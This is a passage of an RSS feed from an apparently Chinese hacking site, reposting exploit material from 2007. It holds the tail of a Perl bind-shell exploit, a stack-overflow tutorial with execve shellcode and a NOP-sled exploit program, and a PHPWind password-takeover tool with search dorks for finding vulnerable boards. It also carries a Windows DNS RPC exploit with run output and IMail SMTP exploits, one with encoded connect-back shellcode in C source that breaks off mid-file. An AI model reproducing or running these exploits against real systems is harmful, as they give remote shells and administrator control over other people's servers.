FROM\n&#34;;<br/>recv($socket, $reply, 1024, 0);<br/>print &#34;Response:&#34; . $reply;<br/><br/><br/><br/><br/>$request = $buffer;<br/>send $socket, $request, 0;<br/>print &#34;[+] Sent malicius request\n&#34;;<br/>close $socket;<br/><br/><br/><br/>print &#34; + connect on port 4444 of $host ...\n&#34;;<br/>sleep(3);<br/>system(&#34;telnet $host 4444&#34;);<br/>exit;<br/><br/># milw0rm.com [2007-02-04]]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/530.htm</link>
			<title><![CDATA[ 溢出的基础与原理]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Tue,01 May 2007 10:17:00 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=530</guid>
		<description><![CDATA[一：基础知识 <br/>计算机内存运行分配的区域分为3个 <br/>程序段区域：不允许写的 <br/>数据段区域：静态全局变量是位于数据段并且在程序开始运行的时候被加载 <br/>堆栈区域：放置程序的动态的用于计算的局部和临时变量则分配在堆栈里面和在过程调用中压入的返回地 <br/>址数据。堆栈是一个先入后出的队列。一般计算机系统堆栈的方向与内存的方向相反。压栈的xx作push＝ ESP－4，出栈的xx作是pop=ESP+4. 在一次函数调用中，堆栈中将被依次压入：参数，返回地址，EBP。如果函数有局部变量，接下来，就在 堆栈中开辟相应的空间以构造变量。函数执行结束，这些局部变量的内容将被丢失。但是不被清除。在函 数返回的时候，弹出EBP，恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。 <br/>在C语言程序中，参数的压栈顺序是反向的。比如func（a,b,c）。在参数入栈的时候，是：先压c，再压 b,最后a.在取参数的时候， <br/>指令执行的图例： <br/>指令区域 <br/>执行程序区 <br/>0 1 2 3 <br/>0 <br/>4 <br/>8 调用100处的函数，参数1（3位），2（10位） <br/>C <br/>10 0 1 2 3 <br/>100 执行处理 <br/>104 <br/>108 <br/>10C <br/>110 返回调用 堆栈区域 <br/>0 1 2 3 <br/>如果EBP分配的空间不够xx作就是产生溢出的地方 <br/>200 保存以前的EBP4位（数据段的指针，用于可以使用局部动态 <br/>变量）现在的EBP等于当前的ESP-动态数据的大小值 ， <br/>ESP=200 <br/>204 0C 00 00 00 <br/>此处是程序的返回地址 <br/>208 参数1，填充1位 <br/>20C 参数2填充2位 <br/>210 <br/>讲解例子WIN下的程序DEMO，演示参数导致的返回地址的变化 <br/>讲清主要4位的填充问题 <br/>另外溢出还会导致数据段的改变 3：如何利用堆栈溢出 <br/>原理可以概括为：由于字符串处理函数（gets，strcpy等等）没有对数组越界加以监视和限制，我们利用 字符数组写越界，覆盖堆栈中的老元素的值，就可以修改返回地址。 在DEMO的例子中，这导致CPU去访问 一个不存在的指令，结果出错。事实上，我们已经完全的控制了这个程序下一步的动作。如果我们用一个 实际存在指令地址来覆盖这个返回地址，CPU就会转而执行我们的指令。 那么有什么用呢，就算使得我们的程序可以跳转执行一些代码，如何用他来突破系统限制来获得权限呢？ 二：系统权限知识 <br/>UNIX系统在运行的时候的权限检查主要是根据UID，GID，SID 三个标来检查的，主要根据SID来检查权限 <br/>SU系统调用就是SID变成SU的对象 <br/>S粘贴位使得运行程序的人具有该程序拥有者一样的权限 <br/>中断ROOT的S粘贴位的程序就可以获得超级用户的权限，SID位置没被调用返回修改回来。 <br/>VI的S粘贴位可以中断的例子 在UINX系统中，我们的指令可以执行一个shell，这个shell将获得和被我们堆栈溢出的程序相同的权限。 如果这个程序是setuid的，那么我们就可以获得root shell。 三：溢出突破权限的实现 <br/>首先要编写SHELLCODE的2进制代码作为溢出的参数进行传入： <br/>shellcode的C程序 注意：execve函数将执行一个程序。他需要程序的名字地址作为第一个参数。一个内容为该程序的 argv[i]（argv[n-1]=0）的指针数组作为第二个参数，以及(char*) 0作为第三个参数。 <br/>我们来看以看execve的汇编代码： <br/>0x804ce7c &lt;__execve&gt;: push %ebp ‘保存以前的数据段地址 0x804ce7d &lt;__execve+1&gt;: mov %esp,%ebp ‘使得当前数据段指向堆栈 0x804ce7f &lt;__execve+3&gt;: push %edi 0x804ce80 &lt;__execve+4&gt;: push %ebx ‘保存 0x804ce81 &lt;__execve+5&gt;: mov 0x8(%ebp),%edi ‘ebp+8是第一个参数&#34;/bin/sh\0&#34; 0x804ce84 &lt;__execve+8&gt;: mov $0x0,%eax ‘清0 0x804ce89 &lt;__execve+13&gt;: test %eax,%eax 0x804ce8b &lt;__execve+15&gt;: je 0x804ce92 &lt;__execve+22&gt; 0x804ce8d &lt;__execve+17&gt;: call 0x0 0x804ce92 &lt;__execve+22&gt;: mov 0xc(%ebp),%ecx ‘设置NAME[0]参数，4字节对齐 0x804ce95 &lt;__execve+25&gt;: mov 0x10(%ebp),%edx，设置NAME[1]参数，4字节对齐 0x804ce98 &lt;__execve+28&gt;: push %ebx 0x804ce99 &lt;__execve+29&gt;: mov %edi,%ebx 0x804ce9b &lt;__execve+31&gt;: mov $0xb,%eax ‘设置XB号调用 0x804cea0 &lt;__execve+36&gt;: int $0x80 ‘调用执行 0x804cea2 &lt;__execve+38&gt;: pop %ebx 0x804cea3 &lt;__execve+39&gt;: mov %eax,%ebx 0x804cea5 &lt;__execve+41&gt;: cmp $0xfffff000,%ebx 0x804ceab &lt;__execve+47&gt;: jbe 0x804cebb &lt;__execve+63&gt; 0x804cead &lt;__execve+49&gt;: call 0x8048324 &lt;__errno_location&gt; 0x804ceb2 &lt;__execve+54&gt;: neg %ebx 0x804ceb4 &lt;__execve+56&gt;: mov %ebx,(%eax) 0x804ceb6 &lt;__execve+58&gt;: mov $0xffffffff,%ebx 0x804cebb &lt;__execve+63&gt;: mov %ebx,%eax 0x804cebd &lt;__execve+65&gt;: lea 0xfffffff8(%ebp),%esp 0x804cec0 &lt;__execve+68&gt;: pop %ebx 0x804cec1 &lt;__execve+69&gt;: pop %edi 0x804cec2 &lt;__execve+70&gt;: leave 0x804cec3 &lt;__execve+71&gt;: ret 精练的调用方法是 0x804ce92 &lt;__execve+22&gt;: mov 0xc(%ebp),%ecx ‘设置NAME[0]参数，4字节对齐 0x804ce95 &lt;__execve+25&gt;: mov 0x10(%ebp),%edx，设置NAME[1]参数，4字节对齐 0x804ce9b &lt;__execve+31&gt;: mov $0xb,%eax ‘设置XB号调用 0x804cea0 &lt;__execve+36&gt;: int $0x80 ‘调用执行 另外要执行一个exit（）系统调用，结束shellcode的执行。 0x804ce60 &lt;_exit&gt;: mov %ebx,%edx 0x804ce62 &lt;_exit+2&gt;: mov 0x4(%esp,1),%ebx 设置参数0 0x804ce66 &lt;_exit+6&gt;: mov $0x1,%eax ‘1号调用 0x804ce6b &lt;_exit+11&gt;: int $0x80 0x804ce6d &lt;_exit+13&gt;: mov %edx,%ebx 0x804ce6f &lt;_exit+15&gt;: cmp $0xfffff001,%eax 0x804ce74 &lt;_exit+20&gt;: jae 0x804d260 &lt;__syscall_error&gt; 那么总结一下，合成的汇编代码为： mov 0xc(%ebp),%ecx <br/>mov 0x10(%ebp),%edx <br/>mov $0xb,%eax <br/>int $0x80 <br/>mov 0x4(%esp,1),%ebx <br/>mov $0x1,%eax <br/>int $0x80 但问题在于我们必须把这个程序作为字符串的参数传给溢出的程序进行调用，如何来分配和定位字符串“ /bin/sh”,还得有一个name数组。我们可以构造它们出来，可是，在shellcode中如何知道它们的地址呢 ？每一次程序都是动态加载，字符串和name数组的地址都不是固定的。 <br/>利用call压入下一条语句的返回地址，把数据作为下一条指令我们就可以达到目的。 <br/>Jmp CALL <br/>Popl %esi ‘利用CALL弹出压入的下一条语句的地址，其实就是我们构造的字符串的地址 <br/>movb $0x0,0x7(%esi) ‘输入0的字符串为结尾 <br/>mov %esi,0X8 (%esi) ‘构造NAME数组，放如字串的地址作为NAME[0] <br/>mov $0x0,0xc(%esi) ‘构造NAME[1]为NULL， NAME[0]为4位地址，所以偏移为0xc <br/>mov %esi,%ebx ‘设置数据段开始的地址 <br/>leal 0x8(%esi),%ecx ‘设置参数1 <br/>leal 0xc(%esi),%edx ‘设置参数2 <br/>mov $0xb,%eax ‘设置调用号 <br/>int $0x80 ‘调用 <br/>mov $0x0,%ebx <br/>mov $0x1,%eax <br/>int $0x80 <br/>Call popl <br/>.string \&#34;/bin/sh\&#34; 然后通过C编译器编写MYSHELLASM.C <br/>运行出错，原因代码段不允许进行修改，但是对于我们溢出是可以的，原因在于溢出是在数据段运行的， 通过GDB查看16进制码，倒出ASCII字符写出TEST.C程序来验证MYSHELLASM可以运行 <br/>ret = (int *)&amp;ret + 2; //ret 等于main（）执行完后的返回系统的地址 <br/>//(＋2是因为：有pushl ebp ,否则加1就可以了。) 但是在堆栈溢出中，关键在于字符串数组的写越界。但是，gets，strcpy等字符串函数在处理字符串的时 候，以&#34;\0&#34; 为字符串结尾。遇\0就结束了写xx作。Myshell中有0X00的字符存在。 <br/>把所有赋予0的xx作用异或或者MOV已知为0的寄存器赋值来完成 <br/>jmp 0x1f <br/>popl %esi <br/>movl %esi,0x8(%esi) <br/>xorl %eax,%eax <br/>movb %eax,0x7(%esi) <br/>movl %eax,0xc(%esi) <br/>movb $0xb,%al <br/>movl %esi,%ebx <br/>leal 0x8(%esi),%ecx <br/>leal 0xc(%esi),%edx <br/>int $0x80 <br/>xorl %ebx,%ebx <br/>movl %ebx,%eax <br/>inc %eax <br/>int $0x80 <br/>call -0x24 <br/>.string \&#34;/bin/sh\&#34; 汇编得出的 <br/>shellcode = <br/>&#34;\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46&#34; <br/>&#34;\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&#34; <br/>&#34;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&#34;; <br/>我们开始来写一个攻击DEMO溢出的例子 <br/>1:把我们的shellcode提供给他，让他可以访问shellcode。 <br/>2:修改他的返回地址为shellcode的入口地址。 对于strcpy函数，我们要知道被溢出的缓冲的的地址。对于xx作系统来说，一个shell下的每一个程序的 堆栈段开始地址都是 相同的 。我们需要内部写一个调用来获得运行时的堆栈起始地址，来知道了目标程 序堆栈的开始地址。 <br/>（所有C函数的返回值都放在eax 寄存器 里面）: <br/>unsigned long get_sp(void) { <br/>__asm__(&#34;movl %esp,%eax&#34;); <br/>} <br/>buffer相对于堆栈开始地址的偏移，对于DEMO我们可以计算出来，但对于真正有溢出毛病的程序我们在没 有源代码和去跟踪汇编是无法计算出的，只能靠猜测了。不过，一般的程序堆栈大约是 几K 左右。为了 提高命中率，增加溢出的SHELLCODE的长度和NOP指令，NOP指令的机器码为0x90。 同时在我们的程序中允 许输入参数来调节溢出点。 <br/>#include <br/>#include <br/>#define OFFSET 0 <br/>#define RET_POSITION 120 <br/>#define RANGE 20 <br/>#define NOP 0x90 char shellcode[]= <br/>&#34;\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46&#34; <br/>&#34;\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89&#34; <br/>&#34;\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh&#34;; unsigned long get_sp(void) <br/>{ <br/>__asm__(&#34;movl %esp,%eax&#34;); <br/>} main(int argc,char **argv) <br/>{ <br/>char buff[RET_POSITION+RANGE+1],*ptr; <br/>long addr; <br/>unsigned long sp; <br/>int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; <br/>int i; if(argc&gt;1) <br/>offset=atoi(argv[1]); sp=get_sp(); <br/>addr=sp-offset; for(i=0;i *((long *)&amp;(buff[i]))=addr; for(i=0;i buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; <br/>for(i=0;i *(ptr++)=shellcode[i]; <br/>buff[bsize-1]=&#34;\0&#34; <br/>for(i=0;i&lt;132;i++) printf(&#34;0x%08x\n&#34;,buff[i]); <br/>printf(&#34;Jump to 0x%08x\n&#34;,addr); execl(&#34;./demo&#34;,&#34;demo&#34;,buff,0); <br/>} <br/>注意，如果发现溢出允许的空间不足够SHELLCODE的代码，那么可以把地址放到前面去，SHELLCODE放在地 址的后面，程序进行一些改动，原理一致 . ]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/504.htm</link>
			<title><![CDATA[PHPWind 5.x Exploits 图形版]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Tue,01 May 2007 09:12:51 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=504</guid>
		<description><![CDATA[P.S：黑锅说。老外就是老外。一直非常BS崇拜老外的猪。在猪。非常之猪牛。<br />还说老外牛是所有通用的 .老外也一样认为老外牛<br />发现漏洞的意识太强。 都怪JB中国的应试教育。害苦了现在的第四代黑客啊。<br /><br />来源：neeao's Blog<br /><br />-----------------------------------------------------------------<br />| PHPWind 5.x Exploits |<br />| |<br />| Powered by HamFast V1.12 20070101 |<br />| |<br />\---------------------------------------------------------------/<br /><br />ATTANTION: Only do this bug test on your board!//仅仅用来测试你的论坛安全！<br />Don't attack any other site!//不要用于攻击其他网站<br /><br />-----------------------------------------------------------------<br />BUGS:<br />Here is a very dangerous bug for PHPWind 5.x!!!! You can change<br />any user's password or register as a new user.<br /><br />Ofcouse, you can change the admin's password, then the board will<br />be under control.<br /><br />Maybe 80% of PHPWind boards have this bug.<br /><br />This tools can exploit PHPWind 5.0.1 AND PHPWind 5.3. <br />----------------------------------------------------------------<br /><br />Board Search:<br />----------------------------------------------------------------<br /><a title="http://www.baidu.com/s?tn=baidu&amp;wd=powered+by+PHPWind+v5.0&amp;ct=0" href="http://www.baidu.com/s?tn=baidu&amp;wd=powered+by+PHPWind+v5.0&amp;ct=0" target="_blank">http://www.baidu.com/s?tn=baidu&amp;wd=powered+by+PHPWind+v5.0&amp;ct=0</a><br /><a title="http://www.google.com/search?newwindow=1&amp;q=powered+by+phpwind+v5.0" href="http://www.google.com/search?newwindow=1&amp;q=powered+by+phpwind+v5.0" target="_blank">http://www.google.com/search?newwindow=1&amp;q=powered+by+phpwind+v5.0</a><br /><br />
<div style="OVERFLOW-X: auto; WIDTH: 100%"><a href="http://photo7.yupoo.com/20070406/145537_47077815_m.jpg" target="_blank"><img style="WIDTH: auto; myimg: function(){
this.style.width=(this.offsetWidth &gt; 670)?'670px':'auto'}" alt="http://photo7.yupoo.com/20070406/145537_47077815_m.jpg" src="http://photo7.yupoo.com/20070406/145537_47077815_m.jpg" /></a></div>
<br /><br />下载地址：<a title="http://www.neeao.com/Blog/attachments/200704/06_145904_pw5expgui.zip" href="http://www.neeao.com/Blog/attachments/200704/06_145904_pw5expgui.zip" target="_blank">http://www.neeao.com/Blog/attachments/200704/06_145904_pw5expgui.zip</a>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/362.htm</link>
			<title><![CDATA[MS Windows DNS RPC Remote Buffer Overflow Exploit]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Sun,22 Apr 2007 19:44:29 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=362</guid>
		<description><![CDATA[Exploit v2 features:<br/>&nbsp;&nbsp;- Target Remote port 445 (by default but requires auth)<br/>&nbsp;&nbsp;- Manual target for dynamic tcp port (without auth)<br/>&nbsp;&nbsp;- Automatic search for dynamic dns rpc port<br/>&nbsp;&nbsp;- Local and remote OS fingerprinting (auto target)<br/>&nbsp;&nbsp;- Windows 2000 server and Windows 2003 server (Spanish) supported by default<br/>&nbsp;&nbsp;- Fixed bug with Windows 2003 Shellcode<br/>&nbsp;&nbsp;- Universal local exploit for Win2k (automatic search for opcodes)<br/>&nbsp;&nbsp;- Universal local and remote exploit for Win2k3 (/GS bypassed only with DEP disabled)<br/>&nbsp;&nbsp;- Added targets for remote win2k English and italian (not tested, found with metasploit opcode database. please report your owns)<br/>&nbsp;&nbsp;- Microsoft RPC api used ( who cares? :p )<br/><br/><br/>D:\ProgramaciÃ³n\DNSTEST&gt;dnstest<br/> --------------------------------------------------------------<br/> Microsoft Dns Server local &amp; remote RPC Exploit code<br/> Exploit code by Andres Tarasco &amp; Mario Ballano<br/> Tested against Windows 2000 server SP4 and Windows 2003 SP2<br/> --------------------------------------------------------------<br/><br/> Usage:&nbsp;&nbsp; dnstest -h 127.0.0.1 (Universal local exploit)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dnstest -h host [-t id] [-p port]<br/> Targets:<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0 (0x30270b0b) - Win2k3 server SP2 Universal - (default for win2k3)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 (0x79467ef8) - Win2k&nbsp;&nbsp;server SP4 Spanish -&nbsp;&nbsp; (default for win2k )<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2 (0x7c4fedbb) - Win2k&nbsp;&nbsp;server SP4 English<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3 (0x7963edbb) - Win2k&nbsp;&nbsp;server SP4 Italian<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4 (0x41414141) - Windows all Denial of Service<br/><br/><br/>D:\ProgramaciÃ³n\DNSTEST&gt;dnstest.exe -h 192.168.1.2<br/> --------------------------------------------------------------<br/> Microsoft Dns Server local &amp; remote RPC Exploit code<br/> Exploit code by Andres Tarasco &amp; Mario Ballano<br/> Tested against Windows 2000 server SP4 and Windows 2003 SP2<br/> --------------------------------------------------------------<br/><br/>[+] Trying to fingerprint target.. (05.02)<br/>[+] Remote Host identified as Windows 2003<br/>[-] No port sel&#101;cted. Trying Ninja sk1llz<br/>[+] Binding to ncacn_ip_tcp: 192.168.1.2<br/>[+] Found 50abc2a4-574d-40b3-9d66-ee4fd5fba076 version 5.0<br/>[+] RPC binding string: ncacn_ip_tcp:192.168.1.2[1105]<br/>[+] Dynamic DNS rpc port found (1105)<br/>[+] Connecting to 50abc2a4-574d-40b3-9d66-ee4fd5fba076@ncacn_ip_tcp:192.168.1.2[1105]<br/>[+] RpcBindingFromStringBinding success<br/>[+] Sending Exploit code to DnssrvOperation()<br/>[+] Now try to connect to port 4444<br/><br/><br/>also available at<br/><br/><a href="http://514.es/Microsoft_Dns_Server_Exploit_v2.1.zip" target="_blank" rel="external">http://514.es/Microsoft_Dns_Server_Exploit_v2.1.zip</a><br/><a href="http://www.48bits.com/exploits/dnsxpl.v2.1.zip" target="_blank" rel="external">http://www.48bits.com/exploits/dnsxpl.v2.1.zip</a> <br/><a href="http://www.milw0rm.com/sploits/04172007-dnsxpl.v2.1.zip" target="_blank" rel="external">http://www.milw0rm.com/sploits/04172007-dnsxpl.v2.1.zip</a><br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/219.htm</link>
			<title><![CDATA[IMail 2006 and 8.x的Exp]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Fri,13 Apr 2007 02:32:51 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=219</guid>
		<description><![CDATA[来自：齐总的blog<br />C:\&gt;imail2006_8.x_1.exe<br />IMail 2006 and 8.x SMTP 'RCPT TO:' Stack Overflow Exploit<br />Coded by Greg Linares &lt; glinares.code [at] GMAIL [dot] com &gt;<br />Usage: imail2006_8.x_1.exe [hostname] [port] &lt;Payload&gt; &lt;JMP&gt;<br />Default port is 25<br />==============================<br />Payload Options: 1 = Default<br />==============================<br />1 = Share C:\ as 'Export' Share<br />2 = Add User 'Error' with Password 'Error'<br />3 = Win32 Bind CMD to Port 4444<br />4 = Change Administrator Password to 'p@ssw0rd'<br />==============================<br />JMP Options: 1 = Default<br />==============================<br />1 = IMAIL 8.x SMTPDLL.DLL [pop ebp, ret] 0x10036f71<br />2 = Win2003 SP1 English NTDLL.DLL [pop ebp, ret] 0x7c87d8af<br />3 = Win2003 SP0 English USER32.DLL [pop ebp, ret] 0x77d02289<br />4 = WinXP SP2 English NTDLL.DLL [pop ebp, ret] 0x7c967e23<br />5 = WinXP SP1 - SP0 English USER32.DLL [pop ebp, ret] 0x71ab389c<br />6 = Win2000 Universal English USER32.DLL [pop ebp, ret] 0x75021397<br />7 = Win2000 Universal French USER32.DLL [pop ebp, ret] 0x74fa1397<br />8 = Windows XP SP1 - SP2 German USER32.DLL [pop ebp, ret] 0x77d18c14<br /><br /><a title="http://201314.free.fr/attachments/200611/imail.rar" href="http://201314.free.fr/attachments/200611/imail.rar" target="_blank"><img alt="" src="http://www.huaidan.org/blog/styles/default/images/icon_file.gif" border="0" /> 点击下载</a> <!-- Google Adsense -->
<script type="text/javascript"><!--
google_ad_client = "pub-1460049757379518";
google_ad_width = 468;
google_ad_height = 15;
google_ad_format = "468x15_0ads_al";
//2007-03-24: ??ӵ?Ԫ
google_ad_channel = "1557999036";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "0082FF";
google_color_text = "333333";
google_color_url = "0082FF";
//-->
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script>
<iframe name="google_ads_frame" marginwidth="0" marginheight="0" src="http://pagead2.googlesyndication.com/pagead/ads?client=ca-pub-1460049757379518&amp;dt=1176402684687&amp;lmt=1176402684&amp;format=468x15_0ads_al&amp;output=html&amp;channel=1557999036&amp;url=http%3A%2F%2Fwww.cnshark.net%2Ffckeditor%2Feditor%2Ffckeditor.html%3FInstanceName%3DMessage%26Toolbar%3DDefault&amp;color_bg=FFFFFF&amp;color_text=333333&amp;color_link=0082FF&amp;color_url=0082FF&amp;color_border=FFFFFF&amp;u_h=768&amp;u_w=1024&amp;u_ah=740&amp;u_aw=1024&amp;u_cd=32&amp;u_tz=480&amp;u_his=134&amp;u_java=true" frameborder="0" width="468" scrolling="no" height="15" allowtransparency="allowtransparency"></iframe>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/218.htm</link>
			<title><![CDATA[Imail 8.13-8.15 的EXP (win2000 and win2k3 chinese v]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Fri,13 Apr 2007 02:31:31 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=218</guid>
		<description><![CDATA[鬼仔：前段时间发过 IMail 2006 and 8.x的Exp ，但是那个是针对英文版的，当时就有朋友说“有中文版的就好了”，这次，就发一个中文版的：Test imail8.13,8.15 on win2000 and win2k3 chinese version.<br/><br/>来源：心路<br/><br/>写这个的时候，懒了一下，没有动态生成shellcode，而是直接使用了一个固定的key来编码，所以某些监听IP和端口会有问题，包含特殊字符，不过程序做了判断，直接不运行。—_—!<br/>代码:<br/>/*******************************************************************************<br/>* Test imail8.13,8.15 on win2000 and win2k3 chinese version.<br/>* code by 云舒,ph4nt0m.org,2006,11<br/>* dou you know who is icy? ^_^<br/>*******************************************************************************/<br/><br/>#include &lt;stdio.h&gt;<br/>#include &lt;winsock2.h&gt;<br/><br/>#pragma comment( lib, &#34;ws2_32&#34; )<br/><br/>#define HELO &#34;EHLO\r\n&#34;<br/>#define FROM &#34;MAIL FROM &lt;icy@iloveyou.net&gt;\r\n&#34;<br/><br/>/*对shellcode进行编码解码*/<br/>unsigned char shellcode[] =<br/> /* decode */<br/> &#34;\x31\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13&#34;<br/> /* decode key */<br/> &#34;\xbd\xd7\x50\x90&#34;<br/> &#34;\x83\xeb\xfc\xe2\xf4&#34;<br/><br/> /* shellcode */<br/> &#34;\x41\xbd\xbb\xdd\x55\x2e\xaf\x6f&#34;<br/> &#34;\x42\xb7\xdb\xfc\x99\xf3\xdb\xd5\x81\x5c\x2c\x95\xc5\xd6\xbf\x1b&#34;<br/> &#34;\xf2\xcf\xdb\xcf\x9d\xd6\xbb\xd9\x36\xe3\xdb\x91\x53\xe6\x90\x09&#34;<br/> &#34;\x11\x53\x90\xe4\xba\x16\x9a\x9d\xbc\x15\xbb\x64\x86\x83\x74\xb8&#34;<br/> &#34;\xc8\x32\xdb\xcf\x99\xd6\xbb\xf6\x36\xdb\x1b\x1b\xe2\xcb\x51\x7b&#34;<br/> &#34;\xbe\xfb\xdb\x19\xd1\xf3\x4c\xf1\x7e\xe6\x8b\xf4\x36\x94\x60\x1b&#34;<br/> &#34;\xfd\xdb\xdb\xe0\xa1\x7a\xdb\xd0\xb5\x89\x38\x1e\xf3\xd9\xbc\xc0&#34;<br/> &#34;\x42\x01\x36\xc3\xdb\xbf\x63\xa2\xd5\xa0\x23\xa2\xe2\x83\xaf\x40&#34;<br/> &#34;\xd5\x1c\xbd\x6c\x86\x87\xaf\x46\xe2\x5e\xb5\xf6\x3c\x3a\x58\x92&#34;<br/> &#34;\xe8\xbd\x52\x6f\x6d\xbf\x89\x99\x48\x7a\x07\x6f\x6b\x84\x03\xc3&#34;<br/> &#34;\xee\x94\x03\xd3\xee\x28\x80\xf8\x7d\x17\x90\x50\xdb\xbf\x77\x9f&#34;<br/> &#34;\xdb\x84\xd9\x71\x28\xbf\xbc\x69\x17\xb7\x07\x6f\x6b\xbd\x40\xc1&#34;<br/> &#34;\xe8\x28\x80\xf6\xd7\xb3\x36\xf8\xde\xba\x3a\xc0\xe4\xfe\x9c\x19&#34;<br/> &#34;\x5a\xbd\x14\x19\x5f\xe6\x90\x63\x17\x42\xd9\x6d\x43\x95\x7d\x6e&#34;<br/> &#34;\xff\xfb\xdd\xea\x85\x7c\xfb\x3b\xd5\xa5\xae\x23\xab\x28\x25\xb8&#34;<br/> &#34;\x42\x01\x0b\xc7\xef\x86\x01\xc1\xd7\xd6\x01\xc1\xe8\x86\xaf\x40&#34;<br/> &#34;\xd5\x7a\x89\x95\x73\x84\xaf\x46\xd7\x28\xaf\xa7\x42\x07\x38\x77&#34;<br/> &#34;\xc4\x11\x29\x6f\xc8\xd3\xaf\x46\x42\xa0\xac\x6f\x6d\xbf\xa0\x1a&#34;<br/> &#34;\xb9\x88\x03\x6f\x6b\x28\x80\x90&#34;;<br/><br/>void Usage( char *name )<br/>{<br/> printf( &#34;\nCode by 云舒(ph4nt0m.org),thx luoluo(ph4nt0m.org)!\n&#34; );<br/> printf( &#34;Test imail8.13,8.15 on win2000 and win2k3 chinese version.\n&#34; );<br/> printf( &#34;Dou you know who is icy? ^_^\n&#34; );<br/> printf( &#34;\nUsage: %s &lt;target_ip&gt; &lt;target_port&gt; &lt;cb_ip&gt; &lt;cb_port&gt;\n&#34;, name );<br/>}<br/><br/>int main( int argc, char *argv[] )<br/>{ <br/> if( argc != 5 )<br/> {<br/> Usage( argv[0] );<br/> return -1;<br/> }<br/> <br/><br/> unsigned int cb_ip = inet_addr(argv[3]);<br/><br/> /* encode input ip by encode key */<br/> cb_ip ^= 0x9050d7bd;<br/><br/> /* offset of ip is 0xb8 */<br/> memcpy( (void *)(shellcode+0xb8), &amp;cb_ip, 4 );<br/><br/> unsigned short cb_port = htons( atoi(argv[4]) );<br/><br/> /* encode input port by encode key */<br/> cb_port ^= 0x9050;<br/><br/> /* offset of port is 0xbe */<br/> memcpy( (void *)(shellcode + 0xbe), &amp;cb_port, 2 );<br/><br/> /* 判断IP和port异或之后是否有特殊字符 */<br/> unsigned char error_char[6] = { 0x00,0x0D,0x0A,0x20,0x3e,0x22 };<br/> unsigned char sz_ip[4] = { 0 };<br/> unsigned char sz_port[2] = { 0 };<br/><br/> memcpy(sz_ip, (void *)&amp;cb_ip, 4);<br/> memcpy(sz_port, (void *)&amp;cb_port, 2);<br/><br/> for( int index = 0; index &lt; 6; index ++ )<br/> {<br/> for (int j = 0; j &lt; sizeof(sz_ip); j ++)<br/> {<br/> if (sz_ip[j] == error_char[index])<br/> {<br/> printf( &#34;rpwt,haha,please change to another ip adress!\n&#34; );<br/> return -1;<br/> }<br/> }<br/> for (int j = 0; j &lt; sizeof(sz_port); j ++)<br/> {<br/> if (sz_port[j] == error_char[index])<br/> {<br/> printf( &#34;rpwt,haha,please change to another port\n&#34;);<br/> return -1;<br/> }<br/> }<br/> }<br/><br/> WSAData wsa;<br/> SOCKET sock;<br/> struct sockaddr_in sin;<br/> int ret;<br/><br/> ret = WSAStartup( 0x0202, &amp;wsa );<br/> if( ret != 0 )<br/> {<br/> printf( &#34;WSAStartup error: %d\n&#34;, GetLastError() );<br/> return -1;<br/> }<br/><br/> sock = socket( AF_INET, SOCK_STREAM, 0 );<br/> if( sock == INVALID_SOCKET )<br/> {<br/> printf( &#34;Cr&#101;ate socket error: %d\n&#34;, GetLastError() );<br/><br/> WSACleanup( );<br/> return -1;<br/> }<br/><br/> memset( &amp;sin, 0, sizeof(struct sockaddr_in) );<br/> sin.sin_addr.S_un.S_addr = inet_addr( argv[1] );<br/> sin.sin_family = AF_INET;<br/> sin.sin_port = htons( atoi(argv[2]) );<br/><br/> ret = connect( sock, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr_in) );<br/> if( ret == SOCKET_ERROR )<br/> {<br/> printf( &#34;Connect error: %d\n&#34;, GetLastError() );<br/><br/> closesocket( sock );<br/> WSACleanup( );<br/> return -1;<br/> }<br/> printf( &#34;Connect ok!\n&#34; );<br/><br/> char recv_buf[512] = { 0 };<br/><br/> /* get banner */<br/> ret = recv( sock, recv_buf, 512, 0 );<br/> if( ret == SOCKET_ERROR )<br/> {<br/> printf( &#34;Recv error: %d\n&#34;, GetLastError() );<br/><br/> closesocket( sock );<br/> 